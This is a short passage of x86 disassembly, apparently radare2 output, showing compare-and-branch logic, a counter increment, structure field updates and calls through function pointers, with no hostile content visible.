je 0x1001230b
cmp eax, 2
je 0x1001230f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x100122b7
cmp eax, 3
je 0x100122ea
cmp eax, 1
jne 0x100122b7
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x100122b7
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x100122b7
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.10012350
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x10012343
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.10012350
add esp, 4
pop esi
ret